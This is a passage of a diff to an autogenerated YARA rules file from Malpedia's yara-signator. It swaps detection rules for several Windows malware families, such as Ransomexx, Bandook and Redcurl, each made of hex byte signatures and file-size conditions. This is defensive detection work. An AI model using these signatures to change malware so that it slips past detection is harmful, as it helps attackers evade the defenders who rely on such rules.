$sequence_1 = { 33c9 ff15???????? 8b15???????? 4c8d0577020200 498904d0 ffc2 8915???????? } - $sequence_2 = { 418bd9 498bf8 8bf2 4c8d0d2d9c0000 488be9 4c8d051b9c0000 } - $sequence_3 = { 4403d3 41c1ca0c 4503d1 4133c2 054239faff 0345d4 03d0 } - $sequence_4 = { 8bc1 488bce 4803d0 e8???????? 33c0 eb0c b801040000 } - $sequence_5 = { 442bc9 f7d1 443bc9 418bc0 0f46d6 c1e010 } - $sequence_6 = { 0345c0 418d91442229f4 03d0 448d8997ff2a43 418bc2 c1c206 f7d0 } - $sequence_7 = { 418d4a01 418bc1 c1e810 03c2 } - $sequence_8 = { 33c0 eb3d 452bd3 4533c0 4585c9 742f 482bf9 } - $sequence_9 = { 488d0d4bf40000 48894b48 4963d0 c6435401 e8???????? eb18 4885c9 } + $sequence_0 = { 0fb609 880c02 e9???????? 48837c244800 7412 4c8b442448 33d2 } + $sequence_1 = { 4889442438 41b810000000 488b542438 488b4c2430 } + $sequence_2 = { 88440c20 b801000000 486bc002 b901000000 486bc901 } + $sequence_3 = { 488d442424 48898424f8000000 488d442420 4889842400010000 } + $sequence_4 = { b903000000 f3aa 48b8bce015361abafbff 48898424c8000000 c744242c00000000 486344242c } + $sequence_5 = { 4889842498010000 488b842490010000 4889842468010000 c6442440eb c644244108 c644244248 c644244389 } + $sequence_6 = { 488b09 4863493c 480308 488bc1 4889442430 488b442430 } + $sequence_7 = { 4889542410 48894c2408 4881eca8000000 c6442420eb c644242108 } + $sequence_8 = { 488b442420 4889442428 488b442428 0fb700 3d4d5a0000 7404 32c0 } + $sequence_9 = { 488b8c2420010000 ff15???????? 4883bc24e000000000 7418 4c8b8424e0000000 33d2 } condition: - 7 of them and filesize < 339968 + 7 of them and filesize < 216064 } -rule MALPEDIA_Win_Dnespy_Auto : FILE +rule MALPEDIA_Win_Nullmixer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "99cbf088-6549-56a2-969b-60e6f7eba155" + id = "07ba7e58-2a57-502b-80f6-37285125f4cb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnespy_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nullmixer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "4e1c2bd2efe3fbaf06ba8ff5d9f3d8607a9e5d8c5f87336409321d599b08c5ad" + logic_hash = "ef3e886b25db0cbcc96c6b82a5addac8533ba94ae036aa8c2ef621bf053010dc" score = 75 quality = 75 tags = "FILE" @@ -144713,32 +144548,32 @@ rule MALPEDIA_Win_Dnespy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b54240c a1???????? 89542414 81faff0f0000 762d 0f1f00 ff774c } - $sequence_1 = { 83f80a 0f85e6080000 834608fc 8b55dc 85d2 791b 8bc2 } - $sequence_2 = { 894618 837e0cff 7403 ff4e24 8bce e8???????? 8b4e0c } - $sequence_3 = { 83f9ff 7245 880a 0facc108 c1e808 884a01 0facc108 } - $sequence_4 = { 8975b4 c745b80f000000 c645a400 8d8de8feffff e8???????? 8b531c 83fa10 } - $sequence_5 = { 33c9 c645fc02 8b45e4 85c0 0f95c1 8d0c8d04000000 034d10 } - $sequence_6 = { e9???????? 6a00 57 53 ff762c 56 e8???????? } - $sequence_7 = { 3bc3 7304 8bc3 eb0b 3dffffff3f 0f87ca000000 } - $sequence_8 = { 8be8 8bc2 eb16 8b4618 53 ff761c } - $sequence_9 = { 6a20 c745e400000000 e8???????? 0f104588 8bc8 c745e400000000 8b45b0 } + $sequence_0 = { 85f6 0f8ed1000000 894c2418 8b7b68 c1e603 31d2 895c241c } + $sequence_1 = { e9???????? 8b4500 89e9 ff5028 8b442418 8b7c2454 8b5804 } + $sequence_2 = { 89ce 0f8586010000 38d0 0f84b9010000 0fb7442464 8b4c2460 6683f8ff } + $sequence_3 = { 8b45bc 85c0 0f8536020000 807dc001 0f842c020000 8b4520 31c9 } + $sequence_4 = { 83ec08 0fb6442420 8b7c2428 c7042400000000 8b542430 88442407 8b442424 } + $sequence_5 = { e8???????? 8b44243c b925000000 8b10 8b5218 81fa???????? 0f842bffffff } + $sequence_6 = { ff5210 0fbe17 89e9 89c3 8b4500 83ec04 891424 } + $sequence_7 = { e8???????? b902000000 89c6 89c3 f3a6 0f97c0 1c00 } + $sequence_8 = { 0f85baf9ffff 0fb7550c 8d4508 e8???????? 89c3 0fb64610 e9???????? } + $sequence_9 = { 8b842488000000 8b942494000000 8b00 894c2404 8954240c 8b8c2480000000 8b942490000000 } condition: - 7 of them and filesize < 794624 + 7 of them and filesize < 2351104 } -rule MALPEDIA_Win_Cycbot_Auto : FILE +rule MALPEDIA_Win_Ransomexx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aad0afc1-3e31-5a15-bed5-ae0a7936ed7d" + id = "094b727d-6615-5ea8-8297-ce60c4df65db" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cycbot_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomexx_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "653a5c288b88440ecab3bfd86c4c4b0d9e0fe555f9cf936dfb136b22da063d90" + logic_hash = "88fc0fd7827f895e1a84baf4a50e5e79c472c52e50515dafeb1f3f74d8cf643c" score = 75 quality = 75 tags = "FILE" @@ -144752,32 +144587,32 @@ rule MALPEDIA_Win_Cycbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c705????????480f4200 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 } - $sequence_1 = { 895dfc 51 8d4db8 8945cc 895dc8 885db8 e8???????? } - $sequence_2 = { 741a ff7590 ff15???????? 85c0 750d ff7590 e8???????? } - $sequence_3 = { c68424c805000001 e8???????? 53 6a01 8d4c2474 8bf0 } - $sequence_4 = { e8???????? 83c418 6a00 8d842488000000 50 8d8c2494010000 51 } - $sequence_5 = { 48 7514 8d8550ffffff eb08 8d45c8 eb03 8d45a0 } - $sequence_6 = { 59 898580deffff 3bc7 7433 83bd9cdeffff10 8b8588deffff 7306 } - $sequence_7 = { 50 ff5110 8985b4fbffff 3bc7 0f857e010000 8b85a8fbffff 8b08 } - $sequence_8 = { 50 8d4c2430 e8???????? 8bf0 59 3bf3 752f } - $sequence_9 = { 33c0 66898580fbffff 6a04 5b 899dbcfbffff c785c0fbffff02000000 899dc4fbffff } + $sequence_0 = { c1eb08 81e3ff000000 333c9db07a4200 8b5dec } + $sequence_1 = { 8a10 881406 40 49 75f7 8b7df0 } + $sequence_2 = { 8b0d???????? 6a04 8d45e8 6a00 50 ffd1 } + $sequence_3 = { 6a00 ff15???????? 85c0 7415 0fb745e0 8b0d???????? } + $sequence_4 = { 8d3c8500000000 8b0417 53 50 ff15???????? eb31 } + $sequence_5 = { b801000000 8945dc 8945e0 33f2 } + $sequence_6 = { 3b45ec 729b 8b4d10 8b5104 8955fc } + $sequence_7 = { 8d5df4 8d75e0 8bc3 e8???????? 8bf0 85f6 } + $sequence_8 = { b16c c7006e74646c c740046c2e646c 884808 50 ff15???????? } + $sequence_9 = { e8???????? 83c404 85c0 7520 8b4dfc f7d9 890f } condition: - 7 of them and filesize < 1163264 + 7 of them and filesize < 372736 } -rule MALPEDIA_Win_Purelocker_Auto : FILE +rule MALPEDIA_Win_Winos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "19f36305-4b96-510d-a7f2-0dc1a52c7e21" + id = "ab76e8bd-21bc-5539-b1fb-f47fdb274949" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purelocker_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winos_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "938c4b6e5f7cc834fc68e23dd33e35b757eeea1e164b3c0af40b39e69fc933d6" + logic_hash = "e8eeb814a2c5b4ab9f10ee5708c1f0bfd3c156bc0fa60e8429c570c21e8f598c" score = 75 quality = 75 tags = "FILE" @@ -144791,32 +144626,32 @@ rule MALPEDIA_Win_Purelocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8f84240c040000 ffb42410040000 58 89842420040000 8b9c2414040000 3b9c240c040000 0f8da5000000 } - $sequence_1 = { 50 5b 5f 83ffff 7f0b 7c05 83fbff } - $sequence_2 = { e8???????? ffb42458080000 e8???????? 31c0 0fbec0 } - $sequence_3 = { 7505 e9???????? 8b9c2450040000 83fb01 0f85c3000000 83bc245804000000 7411 } - $sequence_4 = { 89442404 ff3424 8d1524400110 59 e8???????? 7415 } - $sequence_5 = { 750e 837c240400 7407 b801000000 eb02 31c0 21c0 } - $sequence_6 = { 7c11 8b5c2420 3b5c2428 7f07 b801000000 eb02 } - $sequence_7 = { e9???????? 6819000000 68ffffffff ff742414 ff742420 e8???????? ff742410 } - $sequence_8 = { 52 e8???????? 5a 50 ff742408 e8???????? 8d44241c } - $sequence_9 = { ffb424bc000000 e8???????? 0fbe842488000000 0fbec0 e9???????? ff742474 } + $sequence_0 = { 66890c70 5e 8bc7 5f 5b 5d c20800 } + $sequence_1 = { eb0d 8d95bcfbffff 52 ff15???????? 8b85bcfbffff b906000000 663bc8 } + $sequence_2 = { 8d8de0fcffff 57 51 e8???????? 8b1d???????? } + $sequence_3 = { 83c40c 899c2460040000 33db 8d4c243c 51 89bc246c040000 } + $sequence_4 = { 2bd6 c1fa02 899530feffff 3bdf 7563 8bc3 } + $sequence_5 = { 8d4db8 50 8b853cffffff 50 } + $sequence_6 = { 8b442418 53 52 6a03 6a00 56 } + $sequence_7 = { c70009000000 e8???????? ebda 8bc3 c1f805 8d3c8540310310 8bf3 } + $sequence_8 = { 5d c3 55 8bec 8b4e10 } + $sequence_9 = { db45cc d84dc8 e8???????? 8b7dbc 8bf0 8945c4 6a4c } condition: - 7 of them and filesize < 193536 + 7 of them and filesize < 457728 } -rule MALPEDIA_Win_Adkoob_Auto : FILE +rule MALPEDIA_Win_Stration_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bebf573b-46be-5024-b08d-6d19c81fe200" + id = "41dc722e-36ee-57b1-9a26-7229c2369407" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adkoob_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stration" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stration_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "9df45dbba7685f4e50394d5dc1c9c28bf484da1b0409fe46575f0443f2099dc5" + logic_hash = "e64d83d58a5476627a814f6a3e2d0bd532d00a922e21b2d066d65b8e0bc95a9c" score = 75 quality = 75 tags = "FILE" @@ -144830,32 +144665,32 @@ rule MALPEDIA_Win_Adkoob_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4eb0 8b4004 c74430980c4b4c00 8b4698 8b5004 8d4298 89443294 } - $sequence_1 = { 8b45f8 53 ff75fc 50 6a7e 5a 8bcf } - $sequence_2 = { 894638 85c0 740f 68???????? 50 ff15???????? 894640 } - $sequence_3 = { 898424fc000000 33c0 898424f8000000 89842400010000 89842404010000 8a83a4010000 88443134 } - $sequence_4 = { 897dec 8945fc 85ff 741b 8b7508 8bcf 56 } - $sequence_5 = { b8???????? e8???????? 8bf2 8bf9 89bd0cffffff 33c0 898508ffffff } - $sequence_6 = { 8bf9 83fb1c 7517 837f2400 7511 ff750c 8b5508 } - $sequence_7 = { 8d4e28 51 8d4e20 f7de 8b10 1bf6 23f1 } - $sequence_8 = { 8b4714 8945f8 81e1f7ff0000 8bd3 66894f18 8bce e8???????? } - $sequence_9 = { ff75c4 ffb540ffffff e8???????? 83c428 837da400 741a ffb56cffffff } + $sequence_0 = { 7407 6a01 e8???????? 8a15???????? } + $sequence_1 = { 8b4c2434 c1e908 32c8 884c2435 8b542434 c1ea10 } + $sequence_2 = { 56 89442420 b37b e8???????? 85ff } + $sequence_3 = { 8d4c240c b81f85eb51 f7e9 8bc1 c1fa05 50 } + $sequence_4 = { 85db 7474 57 e8???????? 83c404 85c0 } + $sequence_5 = { 56 8be8 e8???????? 6a64 } + $sequence_6 = { 50 ba11010000 8bcf e8???????? 83fe66 } + $sequence_7 = { 83ec14 85c0 756f a1???????? 8b0d???????? } + $sequence_8 = { ff15???????? 8a0d???????? 22cb 85f6 8935???????? } + $sequence_9 = { 68???????? e8???????? a1???????? 0fafc6 } condition: - 7 of them and filesize < 1867776 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Unidentified_116_Auto : FILE +rule MALPEDIA_Win_Venomloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e8b2ca1f-b6d4-5e1a-8d04-484724c2f148" + id = "360daa47-065f-559b-a4bd-3c105892d050" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_116" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_116_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.venomloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.venomloader_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "aa3fe5ce882f091eaea8e0baeea989ea94aa46089f7c3aca2e5f5e4ccdc04bad" + logic_hash = "2a010e987b08fda7866a0ce45dd38105218c7c231dfd9f1e74d7bf8cc14fb654" score = 75 quality = 75 tags = "FILE" @@ -144869,32 +144704,32 @@ rule MALPEDIA_Win_Unidentified_116_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48 8d0d628bfaff ff15???????? 48 8d05158bfaff 83fe01 48 } - $sequence_1 = { e8???????? 48 89442428 4c 8d05a724fcff 4c } - $sequence_2 = { ff15???????? 83f8ff 7508 ff15???????? 8bd8 4c 8b8608010000 } - $sequence_3 = { 8bd9 48 8901 f6c201 740a ba38000000 e8???????? } - $sequence_4 = { 8b7c2460 49 63e8 48 03ea 44 8b3f } - $sequence_5 = { 8bc0 c1e010 c1e910 0bc8 41 c1e810 0fb6432f } - $sequence_6 = { eb44 48 8b4c2420 e8???????? 48 8bf8 48 } - $sequence_7 = { f20f59d3 48 03c2 48 ba00803ed5 deb19d014803 c28944 } - $sequence_8 = { 41 5e c3 48 896c2430 48 897c2440 } - $sequence_9 = { 8bf9 0f84be000000 48 895c2430 48 89742438 48 } + $sequence_0 = { 48894d10 895518 4c894520 837d1803 7758 837d1802 } + $sequence_1 = { 488d1503ad0a00 c70105000000 48895108 c3 488d15f1ac0a00 c7010b000000 48895108 } + $sequence_2 = { 53 4883ec20 4889cb 488d0d91b90000 e8???????? 4889c2 488b03 } + $sequence_3 = { 4883e918 4c89e2 e8???????? eb88 488d0d07f10400 e8???????? 4889c3 } + $sequence_4 = { 4889742468 0f11742450 e8???????? 488b442470 488b542478 488b9c2488000000 4889542478 } + $sequence_5 = { 48c1ea20 83e201 4c39d9 72df 4983eb01 4d29eb 4983e3fc } + $sequence_6 = { 84d2 0f84b8000000 384549 7452 384548 744d 38c1 } + $sequence_7 = { 4989d0 488d1540910c00 4889c1 e8???????? 488d85d0040000 488d95f0040000 4c8d05d3910c00 } + $sequence_8 = { 4c89e2 4889e9 66897c2468 e8???????? 89c7 84c0 0f85fd050000 } + $sequence_9 = { 48895e18 8b08 85c9 0f853e010000 83430801 488d05e02d0b00 48897e20 } condition: - 7 of them and filesize < 1040384 + 7 of them and filesize < 2592768 } -rule MALPEDIA_Win_Megumin_Auto : FILE +rule MALPEDIA_Win_Sykipot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4a2dcf8-4894-5cef-ac41-bcc9553ffc60" + id = "e29757c6-dae5-5753-908e-00d3e87a0250" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.megumin_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sykipot_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "ea7444cfb1798579fc346f04ef83b325fb03cf7f61d5558430123962ac8f5635" + logic_hash = "744def3f8deb3752311459797b4729b29083d33b4fd30373345787d25fb29e80" score = 75 quality = 75 tags = "FILE" @@ -144908,32 +144743,32 @@ rule MALPEDIA_Win_Megumin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c418 c745fc04000000 bb1f000000 83781410 899de0feffff 7202 } - $sequence_1 = { c1e81f c78570ffffff0f000000 c6855cffffff00 f20f5804c540814600 f20f5885f8feffff f20f1185f8feffff e8???????? } - $sequence_2 = { 3bc2 0f827a0c0000 2bce 2bc2 83c1fe 3bc1 0f42c8 } - $sequence_3 = { 6a03 68???????? 8d8da4fdffff e8???????? 83bdb8fdffff10 8d95a4fdffff ffb5b4fdffff } - $sequence_4 = { 8d4dc0 c645fc03 8bf0 e8???????? 85f6 0f844f010000 8b95e0fdffff } - $sequence_5 = { 68???????? e8???????? 8d7db8 8d4f01 0f1f4000 8a07 47 } - $sequence_6 = { c7461000000000 0f42bde0feffff 83bde4feffff10 57 0f438dd0feffff 51 c746140f000000 } - $sequence_7 = { 8d9570fbffff 2bd1 8a01 8d4901 88440aff 84c0 } - $sequence_8 = { 8bcf ffb5c4fbffff 6a05 e8???????? 8bf8 c785bcfbffff00000000 c785c0fbffff00000000 } - $sequence_9 = { 0f8700010000 c1e003 3d00100000 721f 8d4823 3bc8 0f86f0000000 } + $sequence_0 = { 8d842494030000 68???????? 50 ffd6 83c40c 85c0 0f85fd000000 } + $sequence_1 = { 8bcd 83e103 8d442410 f3a4 } + $sequence_2 = { b93f000000 33c0 8dbc2469060000 88942468070000 f3ab } + $sequence_3 = { 3bf3 89742438 751b 8d4c2424 } + $sequence_4 = { 83c408 85c0 75da 8b85e8feffff 8b8dd8feffff eb06 } + $sequence_5 = { c1e902 f3a5 8bcd 8d94248c010000 83e103 } + $sequence_6 = { aa c744241820000000 52 8d442428 50 ff15???????? 83c9ff } + $sequence_7 = { 8b94242c060000 56 8d842498000000 57 } + $sequence_8 = { 50 ffd6 83c40c 8d4c2428 51 68???????? 6a00 } + $sequence_9 = { e8???????? 83c410 68???????? ffd5 8d842488000000 50 ffd5 } condition: - 7 of them and filesize < 1007616 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Chairsmack_Auto : FILE +rule MALPEDIA_Win_Penco_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b93b15a-7734-556f-a7b1-b4512d41aa64" + id = "6aee07a7-ef18-5814-98a9-4888b78c9e4c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chairsmack_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.penco" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.penco_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "1d38706ad5291374964e24dbf3b78379e0e5a0a84fd9338e0e05cc9f4e1d7fa2" + logic_hash = "cbd5d55ae946f04f495d8f2278cd17d368565e9345c264d195e742a52381e75b" score = 75 quality = 75 tags = "FILE" @@ -144947,32 +144782,32 @@ rule MALPEDIA_Win_Chairsmack_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a01 41 84c0 75f9 2b4dac 8d450c 6a00 } - $sequence_1 = { c7462000000000 c7462400000000 c7462800000000 c7462c00000000 e8???????? 6819020000 68???????? } - $sequence_2 = { 8d44241c 50 e8???????? 50 c684248c00000002 e8???????? } - $sequence_3 = { 8b8dd0fdffff 83e11f c1e106 030c85d06d4a00 898d30fdffff eb0a c78530fdffff78474a00 } - $sequence_4 = { 50 e8???????? 83c404 8d8580feffff 68b8000000 6a00 50 } - $sequence_5 = { 68???????? e8???????? 83ec1c c68424b80300009f 8bcc 68???????? e8???????? } - $sequence_6 = { 837dc800 7526 68???????? 68???????? 6a00 68de000000 68???????? } - $sequence_7 = { ff15???????? 8b4d08 8b148dcc504a00 83e202 740d 8d85e4dfffff 50 } - $sequence_8 = { 0fb745ec eb5a 8d45ec 8d4dc8 3945c0 7579 8d4594 } - $sequence_9 = { 7207 8b16 895518 eb03 897518 83f810 7204 } + $sequence_0 = { 33349500d83400 8bcf c1e918 33348d28ec3400 8b4c2410 0fb6d1 33349500d43400 } + $sequence_1 = { 75f6 8b542410 52 ff15???????? 6800c00000 6a00 56 } + $sequence_2 = { 51 8d95ecf0ffff 52 8b85b0fdffff 8d8c05e0fdffff 51 } + $sequence_3 = { 6800300000 8b9548feffff 52 6a00 ff15???????? 8945e4 } + $sequence_4 = { ff15???????? 68???????? 8b4de4 51 ff15???????? 6a02 } + $sequence_5 = { 8d8c245c020000 51 03f0 8d142e 68???????? 52 e8???????? } + $sequence_6 = { 69c0c4020000 c784059c96ffff4d000000 e9???????? c7851c94ffff00000000 b901000000 85c9 0f8409090000 } + $sequence_7 = { 8b4508 56 8d34c5c0c23400 833e00 7513 50 e8???????? } + $sequence_8 = { 3bc6 740b 3dea000000 0f85d8000000 8b6c2410 3bee 0f84da000000 } + $sequence_9 = { 8b349528ec3400 8b542414 894c241c 8b4c2410 c1e910 0fb6f9 3334bd28e83400 } condition: - 7 of them and filesize < 1974272 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Banjori_Auto : FILE +rule MALPEDIA_Win_Bandook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b7079fb2-7d83-5fd6-84aa-1cae4150d033" + id = "49488c81-393e-59b5-ae7a-2a41b9e495a2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banjori_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bandook_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "816a568e5c1724a9f1a3d5f87d5d1a32e57fcc3fa600870ee04fd6629cdfe757" + logic_hash = "aa9d013de87f3f2f49289f0a80f6ab44faf8f44b73388fb66ee1528c334b1487" score = 75 quality = 75 tags = "FILE" @@ -144986,34 +144821,34 @@ rule MALPEDIA_Win_Banjori_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 75f1 b0ec fd f2ae 817ffd8bff558b 75f5 fc } - $sequence_1 = { ff15???????? ff75ec ff15???????? 40 50 ff75ec 6a01 } - $sequence_2 = { ff75f8 ff15???????? 8d3dac169500 57 ff15???????? 40 50 } - $sequence_3 = { 53 53 53 8d45ec 50 ff75f0 ff75f8 } - $sequence_4 = { 8985b0feffff 83f864 0f82c2000000 40 50 6a40 ff15???????? } - $sequence_5 = { 395df0 741b 53 53 53 53 53 } - $sequence_6 = { e9???????? 55 8bec 83c4f4 57 56 53 } - $sequence_7 = { 0145f4 6a42 ff75f4 ff75f8 ff15???????? 8945f8 ff75dc } - $sequence_8 = { 68f1000000 51 ff15???????? 8b4e08 e32c 894de4 895de8 } - $sequence_9 = { 7808 3d64696a6e 90 7507 e8???????? ebc7 ff35???????? } + $sequence_0 = { 8b85f0bfffff 8985a0beffff 89b598beffff 899d94beffff } + $sequence_1 = { 8d95f4fbffff 83c414 e8???????? 8b4df8 33cd 5e e8???????? } + $sequence_2 = { 8b45f0 0fb640f8 0fb680789d1c13 3334c5a3c31e13 8bc2 c1e818 0fb688789d1c13 } + $sequence_3 = { 83c404 89442414 68c0d40100 e8???????? 83c404 8bf8 } + $sequence_4 = { 8945fc 803d????????01 8b4508 753a ff30 ba???????? } + $sequence_5 = { 8bc8 e8???????? 83c408 8d4704 c707???????? c700???????? 8b4df4 } + $sequence_6 = { 58 6bc000 c7805cd11e1302000000 6a04 58 6bc000 8b0d???????? } + $sequence_7 = { 64a300000000 8bf9 897dac c745fc00000000 897d98 c745a800000000 0f2805???????? } + $sequence_8 = { e8???????? 8bf0 83c404 8975e0 6a00 8bce c645fc01 } + $sequence_9 = { 0fb708 8d4002 66894c02fe 6685c9 75f0 8d8c24c00d0000 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 23088128 } -rule MALPEDIA_Win_Unidentified_104_Auto : FILE +rule MALPEDIA_Win_Redcurl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "22cbe35d-f38f-5d67-9ed1-a6824dbbad6b" + id = "d681119a-f653-5bed-a537-3617b5c42d11" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_104_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redcurl_auto.yar#L1-L199" license_url = "N/A" - logic_hash = "7237a55b9f406cfa347ef2bcf70f76cf7dbf15c7062684d829227ca0ac28ac39" + logic_hash = "e9dbdef2d970be2c43c2c35ff66ca296c8c7b5f23d7ab81a2c0ef377599edc93" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -145025,32 +144860,43 @@ rule MALPEDIA_Win_Unidentified_104_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b7910 488bd9 488bcf 4c8bf2 e8???????? ba20000000 498bce } - $sequence_1 = { 488bf9 498bd8 488d4c2420 e8???????? 41b804000000 488d4c2450 488bd3 } - $sequence_2 = { 48897e10 48897e18 0f1000 0f1106 0f104810 0f114e10 48897810 } - $sequence_3 = { 8bda e8???????? 4885c0 750d e8???????? 33c0 4883c420 } - $sequence_4 = { 4c8bb42490000000 498b86a0000000 4803c1 4c03d8 4933d3 4c895c2408 4c8bda } - $sequence_5 = { 4933ca 4c8b942490000000 498b82a8000000 4803c1 4c03c0 4933d0 } - $sequence_6 = { cc e8???????? 4d8d4601 488bd6 498bcf e8???????? 48891e } - $sequence_7 = { 41c1ea19 4433d0 4403742408 4503e2 8b442404 4133dc } - $sequence_8 = { e8???????? 4439b59c000000 7413 e9???????? ff15???????? cc 4489b59c000000 } - $sequence_9 = { 49c1e820 4c33c2 488b542420 4903d0 4c33ca 498bc9 } + $sequence_0 = { 2bc6 48 50 56 } + $sequence_1 = { f7f9 80c261 88143e 47 } + $sequence_2 = { ff15???????? 8bd0 c7461000000000 8bca } + $sequence_3 = { 6a00 6a00 6aff 8bf8 6a00 57 } + $sequence_4 = { 6a00 6a00 50 53 ff15???????? 6a00 6a00 } + $sequence_5 = { 85ff 747a 85c0 7476 6800010000 } + $sequence_6 = { 8bf0 6a00 6a03 6a00 } + $sequence_7 = { 0f85e90b0000 eb00 f30f7e442404 660f2815???????? 660f28c8 } + $sequence_8 = { 8b4610 3bc2 726f 2bc2 } + $sequence_9 = { 3bc2 0f42d0 0fb6041a 03d3 } + $sequence_10 = { e8???????? c745e800000000 c745ec0f000000 c645d800 8d5001 8b4610 } + $sequence_11 = { 6a00 6a50 51 56 ff15???????? 8bd8 } + $sequence_12 = { 726f 2bc2 83c9ff 83f8ff 0f42c8 } + $sequence_13 = { 8d4590 c7458c00000000 894588 c6459000 e8???????? } + $sequence_14 = { c70424???????? e8???????? 8b5304 83c001 83ec0c 39d0 